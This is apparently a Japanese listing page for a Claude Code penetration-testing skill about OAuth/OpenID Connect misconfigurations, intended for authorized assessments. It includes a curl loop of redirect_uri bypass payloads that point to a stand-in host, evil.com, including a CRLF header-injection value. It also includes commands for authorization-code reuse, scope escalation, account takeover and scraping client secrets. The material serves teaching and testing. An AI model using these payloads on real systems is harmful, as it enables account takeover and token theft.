mcpField
E
exploiting-oauth-misconfiguration

exploiting-oauth-misconfiguration

github.com/mukul975セキュリティ35.2k239 回インストール8 週間前に更新
リポジトリ

exploiting-oauth-misconfiguration について

OAuth 2.0 と OpenID Connect の設定不備を見つける侵入テスト向けスキルです。許可を得た評価で、リダイレクト、トークン漏えい、スコープ昇格、アカウント乗っ取りのリスクを調べます。

主な機能

  1. 01OAuthとOIDCのフローを把握
  2. 02リダイレクトURI検証のテスト
  3. 03認可コードとトークン漏えいの確認
  4. 04スコープ昇格の評価
  5. 05アカウント乗っ取りリスクの確認

活用シーン

  1. 01ソーシャルログイン実装のテスト
  2. 02アプリ間SSOの評価
  3. 03BearerトークンによるAPI認可の監査
  4. 04許可済みOAuthセキュリティ報告書の作成

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-oauth-misconfiguration

インストール後、Claude Code で/exploiting-oauth-misconfigurationを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

OAuth の設定不備の悪用

使用するタイミング

  • アプリケーションが認証に OAuth 2.0 または OpenID Connect を使用している場合の、許可を得た侵入テスト中
  • 「Google/Facebook/GitHub でサインイン」するソーシャルログインの実装を評価するとき
  • アプリケーション間のシングルサインオン(SSO)フローをテストするとき
  • OAuth ベアラートークンを使用した API 認可を評価するとき
  • OAuth プロバイダーまたはコンシューマーとして機能するアプリケーションのセキュリティ評価中

前提条件

  • 許可:OAuth/SSO フローを対象とする、書面による侵入テスト契約
  • Burp Suite Professional:OAuth リダイレクトフローの傍受用
  • DevTools を備えたブラウザー:リダイレクトチェーンとトークン漏えいの監視用
  • 複数のテストアカウント:OAuth プロバイダーと対象アプリケーションの両方で用意します
  • curl:OAuth フローの手動テスト用
  • 攻撃者が管理するサーバー:リダイレクトされたトークン/コードの受信用

ワークフロー

ステップ 1:OAuth フローと設定を把握する

OAuth のグラントタイプ、エンドポイント、設定を特定します。

# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs

# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token

# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256
ステップ 2:リダイレクト URI の操作をテストする

認可コードまたはトークンを攻撃者が管理するドメインにリダイレクトできるか試します。

# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://[email protected]/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/
ステップ 3:認可コードとトークンの窃取をテストする

OAuth トークンとコードを盗むための漏えい経路を悪用します。

# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token

# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="

# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Test state parameter absence/predictability
# Remove state parameter entirely
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
# If no error, CSRF on OAuth flow is possible
ステップ 4:スコープの昇格と権限の操作をテストする

意図された範囲を超える権限を取得できるか試します。

# Request additional scopes beyond what's needed
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"

# Test with elevated scope on token exchange
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

# Test token with manipulated claims
# If JWT access token, try modifying claims (see JWT testing skill)

# Test refresh token scope escalation
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"

# Test client credential flow with elevated permissions
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
ステップ 5:OAuth によるアカウント乗っ取りをテストする

OAuth フローを悪用して被害者のアカウントを乗っ取ります。

# Test missing email verification on OAuth provider
# 1. Create an account on the OAuth provider with victim's email
# 2. OAuth login to the target app
# 3. If the app trusts the unverified email, account linking occurs

# Test pre-authentication account linking
# 1. Register on target app with victim's email (no OAuth)
# 2. Attacker links their OAuth account to victim's email
# 3. Attacker can now login via OAuth to victim's account

# CSRF on account linking
# If /oauth/link endpoint lacks CSRF protection:
# 1. Attacker initiates OAuth flow, captures the auth code
# 2. Craft a page that submits the code to victim's session
# 3. Victim's account gets linked to attacker's OAuth account

# Test token substitution
# Use authorization code/token from one client_id with another
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
ステップ 6:クライアントシークレットとトークンのセキュリティをテストする

OAuth 認証情報とトークンのセキュリティを評価します。

# Check for exposed client secrets
# Search JavaScript source code
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"

# Check mobile app decompilation for hardcoded secrets

# Test token revocation
ACCESS_TOKEN="captured_access_token"
# Use the token
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Revoke the token
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
  -d "token=$ACCESS_TOKEN&token_type_hint=access_token"

# Test if revoked token still works
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Test token lifetime
# Decode JWT access token and check exp claim
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
# Long-lived tokens (hours/days) increase attack window

# Check PKCE implementation
# If public client without PKCE, authorization code interception is possible

主要な概念

概念説明
認可コードフロー最も安全な OAuth フローです。短期間有効なコードをサーバー側でトークンと交換します
インプリシットフローURL フラグメントでトークンを直接返す、非推奨のフローです。漏えいの危険があります
PKCEProof Key for Code Exchange の略で、認可コードの傍受攻撃を防ぎます
リダイレクト URI の検証redirect_uri が登録済みの値と一致することをサーバー側で検証します
state パラメーターOAuth リクエストをユーザーのセッションに関連付けるランダムな値で、CSRF を防ぎます
スコープの昇格許可された範囲を超える権限を要求または取得することです
トークン漏えいReferer ヘッダー、ログ、ブラウザー履歴などを介して OAuth トークンが露出することです
オープンリダイレクトOAuth の redirect_uri をオープンリダイレクトとして悪用し、トークンを盗むことです

ツールとシステム

ツール用途
Burp Suite ProfessionalOAuth リダイレクトチェーンの傍受とパラメーターの変更
OWASP ZAPOAuth フローの自動スキャン
Postman環境変数を使用した OAuth フローの手動テスト
oauth-tools.comOAuth フローのオンラインデバッグとテスト
jwt.ioOAuth アクセストークンの JWT トークン分析
ブラウザーの DevToolsネットワークリクエストとリダイレクトチェーンの監視

よくあるシナリオ

シナリオ 1:リダイレクト URI のサブドメイン検証回避

OAuth プロバイダーは、redirect_uri を *.example.com と照合して検証します。攻撃者は乗っ取り可能なサブドメイン(old.example.com)を見つけて乗っ取り、そこにリダイレクトされた認可コードを盗みます。

シナリオ 2:state パラメーターの欠落による CSRF

OAuth ログインフローに state パラメーターが含まれていないか、検証されていません。攻撃者は被害者を攻撃者のアカウントにログインさせるリンクを作成し、アカウントの取り違え攻撃を可能にします。

シナリオ 3:インプリシットフローによるトークン窃取

アプリケーションはインプリシットフローを使用し、URL フラグメントでアクセストークンを受け取ります。コールバックページがサードパーティの分析スクリプトを読み込むため、Referer ヘッダーを介してトークンが漏えいします。

シナリオ 4:認可コードの再利用

OAuth プロバイダーは、認可コードを初回使用後に無効化しません。Referer の漏えいを通じてコードを傍受した攻撃者は、正規のユーザーがフローを完了した後でも、そのコードをアクセストークンと交換できます。

Output Format

## OAuth Security Assessment Report

**Vulnerability**: Redirect URI Validation Bypass
**Severity**: High (CVSS 8.1)
**Location**: GET /oauth/authorize - redirect_uri parameter
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### OAuth Configuration
| Property | Value |
|----------|-------|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |

### Findings
| Finding | Severity |
|---------|----------|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |

### Recommendation
1. Implement strict redirect_uri validation with exact string matching
2. Require PKCE for all clients (especially public/mobile clients)
3. Invalidate authorization codes after first use
4. Use cryptographically random state parameters tied to user sessions
5. Migrate from implicit flow to authorization code flow with PKCE
6. Never expose client secrets in client-side code

コメント